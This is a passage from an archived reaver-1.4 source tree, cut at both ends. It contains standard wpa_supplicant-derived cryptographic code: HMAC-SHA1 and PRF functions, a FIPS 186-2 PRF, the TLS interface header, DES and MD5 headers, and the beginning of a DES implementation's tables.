num_elem; i++) { _addr[i + 1] = addr[i]; _len[i + 1] = len[i]; } if (sha1_vector(1 + num_elem, _addr, _len, mac)) return -1; os_memset(k_pad, 0, sizeof(k_pad)); os_memcpy(k_pad, key, key_len); /* XOR key with opad values */ for (i = 0; i < 64; i++) k_pad[i] ^= 0x5c; /* perform outer SHA1 */ _addr[0] = k_pad; _len[0] = 64; _addr[1] = mac; _len[1] = SHA1_MAC_LEN; return sha1_vector(2, _addr, _len, mac); } /** * hmac_sha1 - HMAC-SHA1 over data buffer (RFC 2104) * @key: Key for HMAC operations * @key_len: Length of the key in bytes * @data: Pointers to the data area * @data_len: Length of the data area * @mac: Buffer for the hash (20 bytes) * Returns: 0 on success, -1 of failure */ int hmac_sha1(const u8 *key, size_t key_len, const u8 *data, size_t data_len, u8 *mac) { return hmac_sha1_vector(key, key_len, 1, &data, &data_len, mac); } /** * sha1_prf - SHA1-based Pseudo-Random Function (PRF) (IEEE 802.11i, 8.5.1.1) * @key: Key for PRF * @key_len: Length of the key in bytes * @label: A unique label for each purpose of the PRF * @data: Extra data to bind into the key * @data_len: Length of the data * @buf: Buffer for the generated pseudo-random key * @buf_len: Number of bytes of key to generate * Returns: 0 on success, -1 of failure * * This function is used to derive new, cryptographically separate keys from a * given key (e.g., PMK in IEEE 802.11i). */ int sha1_prf(const u8 *key, size_t key_len, const char *label, const u8 *data, size_t data_len, u8 *buf, size_t buf_len) { u8 counter = 0; size_t pos, plen; u8 hash[SHA1_MAC_LEN]; size_t label_len = os_strlen(label) + 1; const unsigned char *addr[3]; size_t len[3]; addr[0] = (u8 *) label; len[0] = label_len; addr[1] = data; len[1] = data_len; addr[2] = &counter; len[2] = 1; pos = 0; while (pos < buf_len) { plen = buf_len - pos; if (plen >= SHA1_MAC_LEN) { if (hmac_sha1_vector(key, key_len, 3, addr, len, &buf[pos])) return -1; pos += SHA1_MAC_LEN; } else { if (hmac_sha1_vector(key, key_len, 3, addr, len, hash)) return -1; os_memcpy(&buf[pos], hash, plen); break; } counter++; } return 0; } reaver-1.4/src/crypto/fips_prf_internal.c0000755000175000017500000000310711705505260020160 0ustar reaverreaver/* * FIPS 186-2 PRF for internal crypto implementation * Copyright (c) 2006-2007, Jouni Malinen * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License version 2 as * published by the Free Software Foundation. * * Alternatively, this software may be distributed under the terms of BSD * license. * * See README and COPYING for more details. */ #include "includes.h" #include "common.h" #include "sha1.h" #include "sha1_i.h" #include "crypto.h" int fips186_2_prf(const u8 *seed, size_t seed_len, u8 *x, size_t xlen) { u8 xkey[64]; u32 t[5], _t[5]; int i, j, m, k; u8 *xpos = x; u32 carry; if (seed_len > sizeof(xkey)) seed_len = sizeof(xkey); /* FIPS 186-2 + change notice 1 */ os_memcpy(xkey, seed, seed_len); os_memset(xkey + seed_len, 0, 64 - seed_len); t[0] = 0x67452301; t[1] = 0xEFCDAB89; t[2] = 0x98BADCFE; t[3] = 0x10325476; t[4] = 0xC3D2E1F0; m = xlen / 40; for (j = 0; j < m; j++) { /* XSEED_j = 0 */ for (i = 0; i < 2; i++) { /* XVAL = (XKEY + XSEED_j) mod 2^b */ /* w_i = G(t, XVAL) */ os_memcpy(_t, t, 20); SHA1Transform(_t, xkey); _t[0] = host_to_be32(_t[0]); _t[1] = host_to_be32(_t[1]); _t[2] = host_to_be32(_t[2]); _t[3] = host_to_be32(_t[3]); _t[4] = host_to_be32(_t[4]); os_memcpy(xpos, _t, 20); /* XKEY = (1 + XKEY + w_i) mod 2^b */ carry = 1; for (k = 19; k >= 0; k--) { carry += xkey[k] + xpos[k]; xkey[k] = carry & 0xff; carry >>= 8; } xpos += SHA1_MAC_LEN; } /* x_j = w_0|w_1 */ } return 0; } reaver-1.4/src/crypto/tls.h0000755000175000017500000005010311705505260015261 0ustar reaverreaver/* * SSL/TLS interface definition * Copyright (c) 2004-2010, Jouni Malinen * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License version 2 as * published by the Free Software Foundation. * * Alternatively, this software may be distributed under the terms of BSD * license. * * See README and COPYING for more details. */ #ifndef TLS_H #define TLS_H struct tls_connection; struct tls_keys { const u8 *master_key; /* TLS master secret */ size_t master_key_len; const u8 *client_random; size_t client_random_len; const u8 *server_random; size_t server_random_len; const u8 *inner_secret; /* TLS/IA inner secret */ size_t inner_secret_len; }; enum tls_event { TLS_CERT_CHAIN_FAILURE, TLS_PEER_CERTIFICATE }; /* * Note: These are used as identifier with external programs and as such, the * values must not be changed. */ enum tls_fail_reason { TLS_FAIL_UNSPECIFIED = 0, TLS_FAIL_UNTRUSTED = 1, TLS_FAIL_REVOKED = 2, TLS_FAIL_NOT_YET_VALID = 3, TLS_FAIL_EXPIRED = 4, TLS_FAIL_SUBJECT_MISMATCH = 5, TLS_FAIL_ALTSUBJECT_MISMATCH = 6, TLS_FAIL_BAD_CERTIFICATE = 7, TLS_FAIL_SERVER_CHAIN_PROBE = 8 }; union tls_event_data { struct { int depth; const char *subject; enum tls_fail_reason reason; const char *reason_txt; const struct wpabuf *cert; } cert_fail; struct { int depth; const char *subject; const struct wpabuf *cert; const u8 *hash; size_t hash_len; } peer_cert; }; struct tls_config { const char *opensc_engine_path; const char *pkcs11_engine_path; const char *pkcs11_module_path; int fips_mode; void (*event_cb)(void *ctx, enum tls_event ev, union tls_event_data *data); void *cb_ctx; }; #define TLS_CONN_ALLOW_SIGN_RSA_MD5 BIT(0) #define TLS_CONN_DISABLE_TIME_CHECKS BIT(1) /** * struct tls_connection_params - Parameters for TLS connection * @ca_cert: File or reference name for CA X.509 certificate in PEM or DER * format * @ca_cert_blob: ca_cert as inlined data or %NULL if not used * @ca_cert_blob_len: ca_cert_blob length * @ca_path: Path to CA certificates (OpenSSL specific) * @subject_match: String to match in the subject of the peer certificate or * %NULL to allow all subjects * @altsubject_match: String to match in the alternative subject of the peer * certificate or %NULL to allow all alternative subjects * @client_cert: File or reference name for client X.509 certificate in PEM or * DER format * @client_cert_blob: client_cert as inlined data or %NULL if not used * @client_cert_blob_len: client_cert_blob length * @private_key: File or reference name for client private key in PEM or DER * format (traditional format (RSA PRIVATE KEY) or PKCS#8 (PRIVATE KEY) * @private_key_blob: private_key as inlined data or %NULL if not used * @private_key_blob_len: private_key_blob length * @private_key_passwd: Passphrase for decrypted private key, %NULL if no * passphrase is used. * @dh_file: File name for DH/DSA data in PEM format, or %NULL if not used * @dh_blob: dh_file as inlined data or %NULL if not used * @dh_blob_len: dh_blob length * @engine: 1 = use engine (e.g., a smartcard) for private key operations * (this is OpenSSL specific for now) * @engine_id: engine id string (this is OpenSSL specific for now) * @ppin: pointer to the pin variable in the configuration * (this is OpenSSL specific for now) * @key_id: the private key's id when using engine (this is OpenSSL * specific for now) * @cert_id: the certificate's id when using engine * @ca_cert_id: the CA certificate's id when using engine * @tls_ia: Whether to enable TLS/IA (for EAP-TTLSv1) * @flags: Parameter options (TLS_CONN_*) * * TLS connection parameters to be configured with tls_connection_set_params() * and tls_global_set_params(). * * Certificates and private key can be configured either as a reference name * (file path or reference to certificate store) or by providing the same data * as a pointer to the data in memory. Only one option will be used for each * field. */ struct tls_connection_params { const char *ca_cert; const u8 *ca_cert_blob; size_t ca_cert_blob_len; const char *ca_path; const char *subject_match; const char *altsubject_match; const char *client_cert; const u8 *client_cert_blob; size_t client_cert_blob_len; const char *private_key; const u8 *private_key_blob; size_t private_key_blob_len; const char *private_key_passwd; const char *dh_file; const u8 *dh_blob; size_t dh_blob_len; int tls_ia; /* OpenSSL specific variables */ int engine; const char *engine_id; const char *pin; const char *key_id; const char *cert_id; const char *ca_cert_id; unsigned int flags; }; /** * tls_init - Initialize TLS library * @conf: Configuration data for TLS library * Returns: Context data to be used as tls_ctx in calls to other functions, * or %NULL on failure. * * Called once during program startup and once for each RSN pre-authentication * session. In other words, there can be two concurrent TLS contexts. If global * library initialization is needed (i.e., one that is shared between both * authentication types), the TLS library wrapper should maintain a reference * counter and do global initialization only when moving from 0 to 1 reference. */ void * tls_init(const struct tls_config *conf); /** * tls_deinit - Deinitialize TLS library * @tls_ctx: TLS context data from tls_init() * * Called once during program shutdown and once for each RSN pre-authentication * session. If global library deinitialization is needed (i.e., one that is * shared between both authentication types), the TLS library wrapper should * maintain a reference counter and do global deinitialization only when moving * from 1 to 0 references. */ void tls_deinit(void *tls_ctx); /** * tls_get_errors - Process pending errors * @tls_ctx: TLS context data from tls_init() * Returns: Number of found error, 0 if no errors detected. * * Process all pending TLS errors. */ int tls_get_errors(void *tls_ctx); /** * tls_connection_init - Initialize a new TLS connection * @tls_ctx: TLS context data from tls_init() * Returns: Connection context data, conn for other function calls */ struct tls_connection * tls_connection_init(void *tls_ctx); /** * tls_connection_deinit - Free TLS connection data * @tls_ctx: TLS context data from tls_init() * @conn: Connection context data from tls_connection_init() * * Release all resources allocated for TLS connection. */ void tls_connection_deinit(void *tls_ctx, struct tls_connection *conn); /** * tls_connection_established - Has the TLS connection been completed? * @tls_ctx: TLS context data from tls_init() * @conn: Connection context data from tls_connection_init() * Returns: 1 if TLS connection has been completed, 0 if not. */ int tls_connection_established(void *tls_ctx, struct tls_connection *conn); /** * tls_connection_shutdown - Shutdown TLS connection * @tls_ctx: TLS context data from tls_init() * @conn: Connection context data from tls_connection_init() * Returns: 0 on success, -1 on failure * * Shutdown current TLS connection without releasing all resources. New * connection can be started by using the same conn without having to call * tls_connection_init() or setting certificates etc. again. The new * connection should try to use session resumption. */ int tls_connection_shutdown(void *tls_ctx, struct tls_connection *conn); enum { TLS_SET_PARAMS_ENGINE_PRV_VERIFY_FAILED = -3, TLS_SET_PARAMS_ENGINE_PRV_INIT_FAILED = -2 }; /** * tls_connection_set_params - Set TLS connection parameters * @tls_ctx: TLS context data from tls_init() * @conn: Connection context data from tls_connection_init() * @params: Connection parameters * Returns: 0 on success, -1 on failure, * TLS_SET_PARAMS_ENGINE_PRV_INIT_FAILED (-2) on possible PIN error causing * PKCS#11 engine failure, or * TLS_SET_PARAMS_ENGINE_PRV_VERIFY_FAILED (-3) on failure to verify the * PKCS#11 engine private key. */ int __must_check tls_connection_set_params(void *tls_ctx, struct tls_connection *conn, const struct tls_connection_params *params); /** * tls_global_set_params - Set TLS parameters for all TLS connection * @tls_ctx: TLS context data from tls_init() * @params: Global TLS parameters * Returns: 0 on success, -1 on failure, * TLS_SET_PARAMS_ENGINE_PRV_INIT_FAILED (-2) on possible PIN error causing * PKCS#11 engine failure, or * TLS_SET_PARAMS_ENGINE_PRV_VERIFY_FAILED (-3) on failure to verify the * PKCS#11 engine private key. */ int __must_check tls_global_set_params( void *tls_ctx, const struct tls_connection_params *params); /** * tls_global_set_verify - Set global certificate verification options * @tls_ctx: TLS context data from tls_init() * @check_crl: 0 = do not verify CRLs, 1 = verify CRL for the user certificate, * 2 = verify CRL for all certificates * Returns: 0 on success, -1 on failure */ int __must_check tls_global_set_verify(void *tls_ctx, int check_crl); /** * tls_connection_set_verify - Set certificate verification options * @tls_ctx: TLS context data from tls_init() * @conn: Connection context data from tls_connection_init() * @verify_peer: 1 = verify peer certificate * Returns: 0 on success, -1 on failure */ int __must_check tls_connection_set_verify(void *tls_ctx, struct tls_connection *conn, int verify_peer); /** * tls_connection_set_ia - Set TLS/IA parameters * @tls_ctx: TLS context data from tls_init() * @conn: Connection context data from tls_connection_init() * @tls_ia: 1 = enable TLS/IA * Returns: 0 on success, -1 on failure * * This function is used to configure TLS/IA in server mode where * tls_connection_set_params() is not used. */ int __must_check tls_connection_set_ia(void *tls_ctx, struct tls_connection *conn, int tls_ia); /** * tls_connection_get_keys - Get master key and random data from TLS connection * @tls_ctx: TLS context data from tls_init() * @conn: Connection context data from tls_connection_init() * @keys: Structure of key/random data (filled on success) * Returns: 0 on success, -1 on failure */ int __must_check tls_connection_get_keys(void *tls_ctx, struct tls_connection *conn, struct tls_keys *keys); /** * tls_connection_prf - Use TLS-PRF to derive keying material * @tls_ctx: TLS context data from tls_init() * @conn: Connection context data from tls_connection_init() * @label: Label (e.g., description of the key) for PRF * @server_random_first: seed is 0 = client_random|server_random, * 1 = server_random|client_random * @out: Buffer for output data from TLS-PRF * @out_len: Length of the output buffer * Returns: 0 on success, -1 on failure * * This function is optional to implement if tls_connection_get_keys() provides * access to master secret and server/client random values. If these values are * not exported from the TLS library, tls_connection_prf() is required so that * further keying material can be derived from the master secret. If not * implemented, the function will still need to be defined, but it can just * return -1. Example implementation of this function is in tls_prf() function * when it is called with seed set to client_random|server_random (or * server_random|client_random). */ int __must_check tls_connection_prf(void *tls_ctx, struct tls_connection *conn, const char *label, int server_random_first, u8 *out, size_t out_len); /** * tls_connection_handshake - Process TLS handshake (client side) * @tls_ctx: TLS context data from tls_init() * @conn: Connection context data from tls_connection_init() * @in_data: Input data from TLS server * @appl_data: Pointer to application data pointer, or %NULL if dropped * Returns: Output data, %NULL on failure * * The caller is responsible for freeing the returned output data. If the final * handshake message includes application data, this is decrypted and * appl_data (if not %NULL) is set to point this data. The caller is * responsible for freeing appl_data. * * This function is used during TLS handshake. The first call is done with * in_data == %NULL and the library is expected to return ClientHello packet. * This packet is then send to the server and a response from server is given * to TLS library by calling this function again with in_data pointing to the * TLS message from the server. * * If the TLS handshake fails, this function may return %NULL. However, if the * TLS library has a TLS alert to send out, that should be returned as the * output data. In this case, tls_connection_get_failed() must return failure * (> 0). * * tls_connection_established() should return 1 once the TLS handshake has been * completed successfully. */ struct wpabuf * tls_connection_handshake(void *tls_ctx, struct tls_connection *conn, const struct wpabuf *in_data, struct wpabuf **appl_data); /** * tls_connection_server_handshake - Process TLS handshake (server side) * @tls_ctx: TLS context data from tls_init() * @conn: Connection context data from tls_connection_init() * @in_data: Input data from TLS peer * @appl_data: Pointer to application data pointer, or %NULL if dropped * Returns: Output data, %NULL on failure * * The caller is responsible for freeing the returned output data. */ struct wpabuf * tls_connection_server_handshake(void *tls_ctx, struct tls_connection *conn, const struct wpabuf *in_data, struct wpabuf **appl_data); /** * tls_connection_encrypt - Encrypt data into TLS tunnel * @tls_ctx: TLS context data from tls_init() * @conn: Connection context data from tls_connection_init() * @in_data: Plaintext data to be encrypted * Returns: Encrypted TLS data or %NULL on failure * * This function is used after TLS handshake has been completed successfully to * send data in the encrypted tunnel. The caller is responsible for freeing the * returned output data. */ struct wpabuf * tls_connection_encrypt(void *tls_ctx, struct tls_connection *conn, const struct wpabuf *in_data); /** * tls_connection_decrypt - Decrypt data from TLS tunnel * @tls_ctx: TLS context data from tls_init() * @conn: Connection context data from tls_connection_init() * @in_data: Encrypted TLS data * Returns: Decrypted TLS data or %NULL on failure * * This function is used after TLS handshake has been completed successfully to * receive data from the encrypted tunnel. The caller is responsible for * freeing the returned output data. */ struct wpabuf * tls_connection_decrypt(void *tls_ctx, struct tls_connection *conn, const struct wpabuf *in_data); /** * tls_connection_resumed - Was session resumption used * @tls_ctx: TLS context data from tls_init() * @conn: Connection context data from tls_connection_init() * Returns: 1 if current session used session resumption, 0 if not */ int tls_connection_resumed(void *tls_ctx, struct tls_connection *conn); enum { TLS_CIPHER_NONE, TLS_CIPHER_RC4_SHA /* 0x0005 */, TLS_CIPHER_AES128_SHA /* 0x002f */, TLS_CIPHER_RSA_DHE_AES128_SHA /* 0x0031 */, TLS_CIPHER_ANON_DH_AES128_SHA /* 0x0034 */ }; /** * tls_connection_set_cipher_list - Configure acceptable cipher suites * @tls_ctx: TLS context data from tls_init() * @conn: Connection context data from tls_connection_init() * @ciphers: Zero (TLS_CIPHER_NONE) terminated list of allowed ciphers * (TLS_CIPHER_*). * Returns: 0 on success, -1 on failure */ int __must_check tls_connection_set_cipher_list(void *tls_ctx, struct tls_connection *conn, u8 *ciphers); /** * tls_get_cipher - Get current cipher name * @tls_ctx: TLS context data from tls_init() * @conn: Connection context data from tls_connection_init() * @buf: Buffer for the cipher name * @buflen: buf size * Returns: 0 on success, -1 on failure * * Get the name of the currently used cipher. */ int __must_check tls_get_cipher(void *tls_ctx, struct tls_connection *conn, char *buf, size_t buflen); /** * tls_connection_enable_workaround - Enable TLS workaround options * @tls_ctx: TLS context data from tls_init() * @conn: Connection context data from tls_connection_init() * Returns: 0 on success, -1 on failure * * This function is used to enable connection-specific workaround options for * buffer SSL/TLS implementations. */ int __must_check tls_connection_enable_workaround(void *tls_ctx, struct tls_connection *conn); /** * tls_connection_client_hello_ext - Set TLS extension for ClientHello * @tls_ctx: TLS context data from tls_init() * @conn: Connection context data from tls_connection_init() * @ext_type: Extension type * @data: Extension payload (%NULL to remove extension) * @data_len: Extension payload length * Returns: 0 on success, -1 on failure */ int __must_check tls_connection_client_hello_ext(void *tls_ctx, struct tls_connection *conn, int ext_type, const u8 *data, size_t data_len); /** * tls_connection_get_failed - Get connection failure status * @tls_ctx: TLS context data from tls_init() * @conn: Connection context data from tls_connection_init() * * Returns >0 if connection has failed, 0 if not. */ int tls_connection_get_failed(void *tls_ctx, struct tls_connection *conn); /** * tls_connection_get_read_alerts - Get connection read alert status * @tls_ctx: TLS context data from tls_init() * @conn: Connection context data from tls_connection_init() * Returns: Number of times a fatal read (remote end reported error) has * happened during this connection. */ int tls_connection_get_read_alerts(void *tls_ctx, struct tls_connection *conn); /** * tls_connection_get_write_alerts - Get connection write alert status * @tls_ctx: TLS context data from tls_init() * @conn: Connection context data from tls_connection_init() * Returns: Number of times a fatal write (locally detected error) has happened * during this connection. */ int tls_connection_get_write_alerts(void *tls_ctx, struct tls_connection *conn); /** * tls_connection_get_keyblock_size - Get TLS key_block size * @tls_ctx: TLS context data from tls_init() * @conn: Connection context data from tls_connection_init() * Returns: Size of the key_block for the negotiated cipher suite or -1 on * failure */ int tls_connection_get_keyblock_size(void *tls_ctx, struct tls_connection *conn); #define TLS_CAPABILITY_IA 0x0001 /* TLS Inner Application (TLS/IA) */ /** * tls_capabilities - Get supported TLS capabilities * @tls_ctx: TLS context data from tls_init() * Returns: Bit field of supported TLS capabilities (TLS_CAPABILITY_*) */ unsigned int tls_capabilities(void *tls_ctx); /** * tls_connection_ia_send_phase_finished - Send a TLS/IA PhaseFinished message * @tls_ctx: TLS context data from tls_init() * @conn: Connection context data from tls_connection_init() * @final: 1 = FinalPhaseFinished, 0 = IntermediatePhaseFinished * Returns: Encrypted TLS/IA data, %NULL on failure * * This function is used to send the TLS/IA end phase message, e.g., when the * EAP server completes EAP-TTLSv1. */ struct wpabuf * tls_connection_ia_send_phase_finished( void *tls_ctx, struct tls_connection *conn, int final); /** * tls_connection_ia_final_phase_finished - Has final phase been completed * @tls_ctx: TLS context data from tls_init() * @conn: Connection context data from tls_connection_init() * Returns: 1 if valid FinalPhaseFinished has been received, 0 if not, or -1 * on failure */ int __must_check tls_connection_ia_final_phase_finished( void *tls_ctx, struct tls_connection *conn); /** * tls_connection_ia_permute_inner_secret - Permute TLS/IA inner secret * @tls_ctx: TLS context data from tls_init() * @conn: Connection context data from tls_connection_init() * @key: Session key material (session_key vectors with 2-octet length), or * %NULL if no session key was generating in the current phase * @key_len: Length of session key material * Returns: 0 on success, -1 on failure */ int __must_check tls_connection_ia_permute_inner_secret( void *tls_ctx, struct tls_connection *conn, const u8 *key, size_t key_len); typedef int (*tls_session_ticket_cb) (void *ctx, const u8 *ticket, size_t len, const u8 *client_random, const u8 *server_random, u8 *master_secret); int __must_check tls_connection_set_session_ticket_cb( void *tls_ctx, struct tls_connection *conn, tls_session_ticket_cb cb, void *ctx); #endif /* TLS_H */ reaver-1.4/src/crypto/des_i.h0000755000175000017500000000164011705505260015544 0ustar reaverreaver/* * DES and 3DES-EDE ciphers * Copyright (c) 2006-2009, Jouni Malinen * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License version 2 as * published by the Free Software Foundation. * * Alternatively, this software may be distributed under the terms of BSD * license. * * See README and COPYING for more details. */ #ifndef DES_I_H #define DES_I_H struct des3_key_s { u32 ek[3][32]; u32 dk[3][32]; }; void des_key_setup(const u8 *key, u32 *ek, u32 *dk); void des_block_encrypt(const u8 *plain, const u32 *ek, u8 *crypt); void des_block_decrypt(const u8 *crypt, const u32 *dk, u8 *plain); void des3_key_setup(const u8 *key, struct des3_key_s *dkey); void des3_encrypt(const u8 *plain, const struct des3_key_s *key, u8 *crypt); void des3_decrypt(const u8 *crypt, const struct des3_key_s *key, u8 *plain); #endif /* DES_I_H */ reaver-1.4/src/crypto/md5_i.h0000755000175000017500000000133711705505260015461 0ustar reaverreaver/* * MD5 internal definitions * Copyright (c) 2003-2005, Jouni Malinen * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License version 2 as * published by the Free Software Foundation. * * Alternatively, this software may be distributed under the terms of BSD * license. * * See README and COPYING for more details. */ #ifndef MD5_I_H #define MD5_I_H struct MD5Context { u32 buf[4]; u32 bits[2]; u8 in[64]; }; void MD5Init(struct MD5Context *context); void MD5Update(struct MD5Context *context, unsigned char const *buf, unsigned len); void MD5Final(unsigned char digest[16], struct MD5Context *context); #endif /* MD5_I_H */ reaver-1.4/src/crypto/des-internal.c0000755000175000017500000003605511705505260017051 0ustar reaverreaver/* * DES and 3DES-EDE ciphers * * Modifications to LibTomCrypt implementation: * Copyright (c) 2006-2009, Jouni Malinen * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License version 2 as * published by the Free Software Foundation. * * Alternatively, this software may be distributed under the terms of BSD * license. * * See README and COPYING for more details. */ #include "includes.h" #include "common.h" #include "crypto.h" #include "des_i.h" /* * This implementation is based on a DES implementation included in * LibTomCrypt. The version here is modified to fit in wpa_supplicant/hostapd * coding style. */ /* LibTomCrypt, modular cryptographic library -- Tom St Denis * * LibTomCrypt is a library that provides various cryptographic * algorithms in a highly modular and flexible manner. * * The library is free for all purposes without any express * guarantee it works. * * Tom St Denis, tomstdenis@gmail.com, http://libtomcrypt.com */ /** DES code submitted by Dobes Vandermeer */ #define ROLc(x, y) \ ((((unsigned long) (x) << (unsigned long) ((y) & 31)) | \ (((unsigned long) (x) & 0xFFFFFFFFUL) >> \ (unsigned long) (32 - ((y) & 31)))) & 0xFFFFFFFFUL) #define RORc(x, y) \ (((((unsigned long) (x) & 0xFFFFFFFFUL) >> \ (unsigned long) ((y) & 31)) | \ ((unsigned long) (x) << (unsigned long) (32 - ((y) & 31)))) & \ 0xFFFFFFFFUL) static const u32 bytebit[8] = { 0200, 0100, 040, 020, 010, 04, 02, 01 }; static const u32 bigbyte[24] = { 0x800000UL, 0x400000UL, 0x200000UL, 0x100000UL, 0x80000UL, 0x40000UL, 0x20000UL, 0x10000UL, 0x8000UL, 0x4000UL, 0x2000UL, 0x1000UL, 0x800UL, 0x400UL, 0x200UL, 0x100UL, 0x80UL, 0x40UL, 0x20UL, 0x10UL, 0x8UL, 0x4UL, 0x2UL, 0x1L }; /* Use the key schedule specific in the standard (ANSI X3.92-1981) */ static const u8 pc1[56] = { 56, 48, 40, 32, 24, 16, 8, 0, 57, 49, 41, 33, 25, 17, 9, 1, 58, 50, 42, 34, 26, 18, 10, 2, 59, 51, 43, 35, 62, 54, 46, 38, 30, 22, 14, 6, 61, 53, 45, 37, 29, 21, 13, 5, 60, 52, 44, 36, 28, 20, 12, 4, 27, 19, 11, 3 }; static const u8 totrot[16] = { 1, 2, 4, 6, 8, 10, 12, 14, 15, 17, 19, 21, 23, 25, 27, 28 }; static const u8 pc2[48] = { 13, 16, 10, 23, 0, 4, 2, 27, 14, 5, 20, 9, 22, 18, 11, 3, 25, 7, 15, 6, 26, 19, 12, 1, 40, 51, 30, 36, 46, 54, 29, 39, 50, 44, 32, 47, 43, 48, 38, 55, 33, 52, 45, 41, 49, 35, 28, 31 }; static const u32 SP1[64] = { 0x01010400UL, 0x00000000UL, 0x00010000UL, 0x01010404UL, 0x01010004UL, 0x00010404UL, 0x00000004UL, 0x00010000UL, 0x00000400UL, 0x01010400UL, 0x01010404UL, 0x00000400UL, 0x01000404UL, 0x01010004UL, 0x01000000UL, 0x00000004UL, 0x00000404UL, 0x01000400UL, 0x01000400UL, 0x00010400UL, 0x00010400UL, 0x01010000UL, 0x01010000UL, 0x01000404UL, 0x00010004UL, 0x01000004UL, 0x01000004UL, 0x00010004UL, 0x00000000UL, 0x00000404UL, 0x00010404UL, 0x01000000UL, 0x00010000UL, 0x01010404UL, 0x00000004UL, 0x01010000UL, 0x01010400UL, 0x01000000UL, 0x01000000UL, 0x00000400UL, 0x01010004UL, 0x00010000UL, 0x00010400UL, 0x01000004UL, 0x00000400UL, 0x00000004UL, 0x01000404UL, 0x00010404UL, 0x01010404UL, 0x00010004UL, 0x01010000UL, 0x01000404UL, 0x01000004UL, 0x00000404UL, 0x00010404UL, 0x01010400UL, 0x00000404UL, 0x01000400UL, 0x01000400UL, 0x00000000UL, 0x00010004UL, 0x00010400UL, 0x00000000UL, 0x01010004UL }; static const u32 SP2[64] = { 0x80108020UL, 0x80008000UL, 0x00008000UL, 0x00108020UL, 0x00100000UL, 0x00000020UL, 0x80100020UL, 0x80008020UL, 0x80000020UL, 0x80108020UL, 0x80108000UL, 0x80000000UL, 0x80008000UL, 0x00100000UL, 0x00000020UL, 0x80100020UL, 0x00108000UL, 0x00100020UL, 0x80008020UL, 0x00000000UL, 0x80000000UL, 0x00008000UL, 0x00108020UL, 0x80100000UL, 0x00100020UL, 0x80000020UL, 0x00000000UL, 0x00108000UL, 0x00008020UL, 0x80108000UL, 0x80100000UL, 0x00008020UL, 0x00000000UL, 0x00108020UL, 0x80100020UL, 0x00100000UL, 0x80008020UL, 0x80100000UL, 0x80108000UL, 0x00008000UL, 0x80100000UL, 0x80008000UL, 0x00000020UL, 0x80108020UL, 0x00108020UL, 0x00000020UL, 0x00008000UL, 0x80000000UL, 0x00008020UL, 0x80108000UL, 0x00100000UL, 0x80000020UL, 0x00100020UL, 0x80008020UL, 0x80000020UL, 0x00100020UL, 0x00108000UL, 0x00000000UL, 0x80008000UL, 0x00008020UL, 0x80000000UL, 0x80100020UL, 0x80108020UL, 0x00108000UL }; static const u32 SP3[64] = { 0x00000208UL, 0x08020200UL, 0x00000000UL, 0x08020008UL, 0x08000200UL, 0x00000000UL, 0x00020208UL, 0x08000200UL, 0x00020008UL, 0x08000008UL, 0x08000008UL, 0x00020000UL, 0x08020208UL, 0x00020008UL, 0x08020000UL, 0x00000208UL, 0x08000000UL, 0x00000008UL, 0x08020200UL, 0x00000200UL, 0x00020200UL, 0x08020000UL, 0x08020008UL, 0x00020208UL, 0x08000208UL, 0x00020200UL, 0x00020000UL, 0x08000208UL, 0x00000008UL, 0x08020208UL, 0x00000200UL, 0x08000000UL, 0x08020200UL, 0x08000000UL, 0x00020008UL, 0x00000208UL, 0x00020000UL, 0x08020200UL, 0x08000200UL, 0x00000000UL, 0x00000200UL, 0x00020008UL, 0x08020208UL, 0x08000200UL, 0x08000008UL, 0x00000200UL, 0x00000000UL, 0x08020008UL, 0x08000208UL, 0x00020000UL, 0x08000000UL, 0x08020208UL, 0x00000008UL, 0x00020208UL, 0x00020200UL, 0x08000008UL, 0x08020000UL, 0x08000208UL, 0x00000208UL, 0x08020000UL, 0x00020208UL, 0x00000008UL, 0x08020008UL, 0x00020200UL }; static const u32 SP4[64] = { 0x00802001UL, 0x00002081UL, 0x00002081UL, 0x00000080UL, 0x00802080UL, 0x00800081UL, 0x00800001UL, 0x00002001UL, 0x00000000UL, 0x00802000UL, 0x00802000UL, 0x00802081UL, 0x00000081UL, 0x00000000UL, 0x00800080UL, 0x00800001UL, 0x00000001UL, 0x00002000UL, 0x00800000UL, 0x00802001UL, 0x00000080UL, 0x00800000UL, 0x00002001UL, 0x00002080UL, 0x00800081UL, 0x00000001UL, 0x00002080UL, 0x00800080UL, 0x00002000UL, 0x00802080UL, 0x00802081UL, 0x00000081UL, 0x00800080UL, 0x00800001UL, 0x00802000UL, 0x00802081UL, 0x00000081UL, 0x00000000UL, 0x00000000UL, 0x00802000UL, 0x00002080UL, 0x00800080UL, 0x00800081UL, 0x00000001UL, 0x00802001UL, 0x00002081UL, 0x00002081UL, 0x00000080UL, 0x00802081UL, 0x00000081UL, 0x00000001UL, 0x00002000UL, 0x00800001UL, 0x00002001UL, 0x00802080UL, 0x00800081UL, 0x00002001UL, 0x00002080UL, 0x00800000UL, 0x00802001UL, 0x00000080UL, 0x00800000UL, 0x00002000UL, 0x00802080UL }; static const u32 SP5[64] = { 0x00000100UL, 0x02080100UL, 0x02080000UL, 0x42000100UL, 0x00080000UL, 0x00000100UL, 0x40000000UL, 0x02080000UL, 0x40080100UL, 0x00080000UL, 0x02000100UL, 0x40080100UL, 0x42000100UL, 0x42080000UL, 0x00080100UL, 0x40000000UL, 0x02000000UL, 0x40080000UL, 0x40080000UL, 0x00000000UL, 0x40000100UL, 0x42080100UL, 0x42080100UL, 0x02000100UL, 0x42080000UL, 0x40000100UL, 0x00000000UL, 0x42000000UL, 0x02080100UL, 0x02000000UL, 0x42000000UL, 0x00080100UL, 0x00080000UL, 0x42000100UL, 0x00000100UL, 0x02000000UL, 0x40000000UL, 0x02080000UL, 0x42000100UL, 0x40080100UL, 0x02000100UL, 0x40000000UL, 0x42080000UL, 0x02080100UL, 0x40080100UL, 0x00000100UL, 0x02000000UL, 0x42080000UL, 0x42080100UL, 0x00080100UL, 0x42000000UL, 0x42080100UL, 0x02080000UL, 0x00000000UL, 0x40080000UL, 0x42000000UL, 0x00080100UL, 0x02000100UL, 0x40000100UL, 0x00080000UL, 0x00000000UL, 0x40080000UL, 0x02080100UL, 0x40000100UL }; static const u32 SP6[64] = { 0x20000010UL, 0x20400000UL, 0x00004000UL, 0x20404010UL, 0x20400000UL, 0x00000010UL, 0x20404010UL, 0x00400000UL, 0x20004000UL, 0x00404010UL, 0x00400000UL, 0x20000010UL, 0x00400010UL, 